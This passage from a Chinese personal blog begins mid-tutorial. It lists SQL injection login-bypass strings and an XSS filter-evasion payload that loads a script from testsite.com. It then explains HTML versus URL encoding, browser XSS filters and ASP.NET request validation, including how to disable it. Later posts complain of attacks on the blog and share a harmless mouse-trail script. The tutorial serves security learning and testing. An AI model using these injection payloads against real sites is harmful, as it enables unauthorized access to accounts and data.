<SCRIPT>document.write(“<SCRI”);</SCRIPT>PT src=”http://www.testsite.com/a.js”></SCRIPT>
<A href=http://www.testsite.com://www.testsite.com/ogle.com/>link</A>
admin’–
‘ or 0=0 —
” or 0=0 —
or 0=0 —
‘ or 0=0 #
” or 0=0 #
or 0=0 #
‘ or ‘x’=’x
” or “x”=”x
‘) or (‘x’=’x
‘ or 1=1–
” or 1=1–
or 1=1–
‘ or a=a–
” or “a”=”a
‘) or (‘a’=’a
“) or (“a”=”a
hi” or “a”=”a
hi” or 1=1 —
hi’ or 1=1 —
hi’ or ‘a’=’a
hi’) or (‘a’=’a
hi”) or (“a”=”a

HTML Encode 和URL Encode的区别

刚开始我老是把这两个东西搞混淆, 其实这是两个不同的东西。


HTML编码前面已经介绍过了,关于URL 编码是为了符合url的规范。因为在标准的url规范中中文和很多的字符是不允许出现在url中的。


例如在baidu中搜索"测试汉字"。 URL会变成

http://www.baidu.com/s?wd=%B2%E2%CA%D4%BA%BA%D7%D6&rsv_bp=0&rsv_spt=3&inputT=7477


所谓URL编码就是: 把所有非字母数字字符都将被替换成百分号(%)后跟两位十六进制数,空格则编码为加号(+)


在C#中已经提供了现成的方法,只要调用HttpUtility.UrlEncode("string <scritp>") 就可以了。  (需要引用System.Web程序集)


Fiddler中也提供了很方便的工具, 点击Toolbar上的"TextWizard" 按钮

浏览器中的XSS过滤器

为了防止发生XSS, 很多浏览器厂商都在浏览器中加入安全机制来过滤XSS。 例如IE8,IE9,Firefox, Chrome. 都有针对XSS的安全机制。 浏览器会阻止XSS。 例如下图

7.png



如果需要做测试, 最好使用IE7-。

ASP.NET中的XSS安全机制

ASP.NET中有防范XSS的机制,对提交的表单会自动检查是否存在XSS,当用户试图输入XSS代码的时候,ASP.NET会抛出一个错误如下图

8.png



很多程序员对安全没有概念, 甚至不知道有XSS的存在。 ASP.NET在这一点上做到默认安全。 这样的话就算是没有安全意识的程序员也能写出一个”较安全的网站“。


如果想禁止这个安全特性, 可以通过 <%@  Page  validateRequest=“false"  %>

想要更多关于XSS的使用和防御教程请Google搜索:https://www.google.com/#q=site:drops.wooyun.org+xss

参考:http://www.cnblogs.com/TankXiao/archive/2012/03/21/2337194.html


admin 发布于  2016-4-10 16:44 

这么受欢迎? 杂七杂八

博客这段时间一直遭受各种攻击,逼我换回国内,再给钱加上防护盾。。。唉熊孩子们这能玩。使用ssl的时候就不停的DDOS,小小vps扛不住。那就不用。

今天才半天,各种扫描,sql注入,webshell探测,一大堆。。。看得不要不要的。。。实在不行就转到博客园,看你还攻击。。。

0.png1.png2.png

吐槽一句,做个博客,没和谁抢啥,也没啥盈利,干嘛盯着不放。醉了 -_-|| 谁有高防服务器,求搭伙。


admin 发布于  2016-4-8 12:27 

简单的js代码让你的鼠标拥有动态文字跟随 代码人生

2016-04-07 10_39_41.png

效果呢,如上图所示,具体效果可以看我博客就知道了,我把代码贴出来,需要的,喜欢折腾的慢慢去折腾哈,你也考虑把文本弄成随机变换的。

// ENTER TEXT BELOW. CAN *NOT* INCLUDE NORMAL HTML CODE.
var text='W elcom e to M rxn\'s B log *_*' ;
var delay=30;                              // SPEED OF TRAIL

var Xoff=10;                                // PIXEL COUNT FROM THE LEFT OF THE CURSOR (- VALUES GO TO LEFT)

var Yoff=-25;                              // PIXEL COUNT FROM THE TOP OF THE CURSOR (- VALUES GO UP)

var txtw=9;                               // AMOUNT OF PIXEL SPACE EACH CHARACTER OCCUPIES

var beghtml='<font color="#FF0000"><b>';   // OPTIONAL HTML CODE THAT EFFECTS WHOLE TEXT STRING SUCH AS FONT COLOR, SIZE, ETC.

var endhtml='</b></font>';                 // END HTML CODE. MOSTLY USED IF ABOVE SETTING IS USED.

//********** NO NEED TO EDIT BELOW HERE **********\\

ns4 = (navigator.appName.indexOf("Netscape")>=0 && document.layers)? true : false;

ie4 = (document.all && !document.getElementById)? true : false;

ie5 = (document.all && document.getElementById)? true : false;

ns6 = (document.getElementById && navigator.appName.indexOf("Netscape")>=0 )? true: false;

var txtA=new Array();

text=text.split('');

var x1=0;

var y1=-1000;

var t='';

for(i=1;i<=text.length;i++){

t+=(ns4)? '<layer name="txt'+i+'" top="-100" left="0" width="'+txtw+'" height="1">' : '<div id="txt'+i+'" style="position:absolute; top:-100px; left:0px; height:1px; width:'+txtw+'; visibility:visible;">';

t+=beghtml+text[i-1]+endhtml;

t+=(ns4)? '</layer>' : '</div>';

}

document.write(t);

function moveid(id,x,y){

if(ns4)id.moveTo(x,y);

else{

id.style.left=x+'px';

id.style.top=y+'px';

}}

function animate(evt){

x1=Xoff+((ie4||ie5)?event.clientX+document.body.scrollLeft:evt.pageX);

y1=Yoff+((ie4||ie5)?event.clientY+document.body.scrollTop:evt.pageY);

}

function getidleft(id){

if(ns4)return id.left;

else return parseInt(id.style.left);

}

function getidtop(id){

if(ns4)return id.top;

else return parseInt(id.style.top);

}

function getwindowwidth(){

if(ie4||ie5)return document.body.clientWidth+document.body.scrollLeft;

else return window.innerWidth+pageXOffset;

}

function movetxts(){

for(i=text.length;i>1;i=i-1){

if(getidleft(txtA[i-1])+txtw*2>=getwindowwidth()){

moveid(txtA[i-1],0,-1000);

moveid(txtA[i],0,-1000);

}else moveid(txtA[i], getidleft(txtA[i-1])+txtw, getidtop(txtA[i-1]));

}

moveid(txtA[1],x1,y1);

}

window.onload=function(){

for(i=1;i<=text.length;i++)txtA[i]=(ns4)?document.layers['txt'+i]:(ie4)?document.all['txt'+i]:document.getElementById('txt'+i);

if(ns4)document.captureEvents(Event.MOUSEMOVE);

document.onmousemove=animate;

setInterval('movetxts()',delay);

}


admin 发布于  2016-4-7 10:41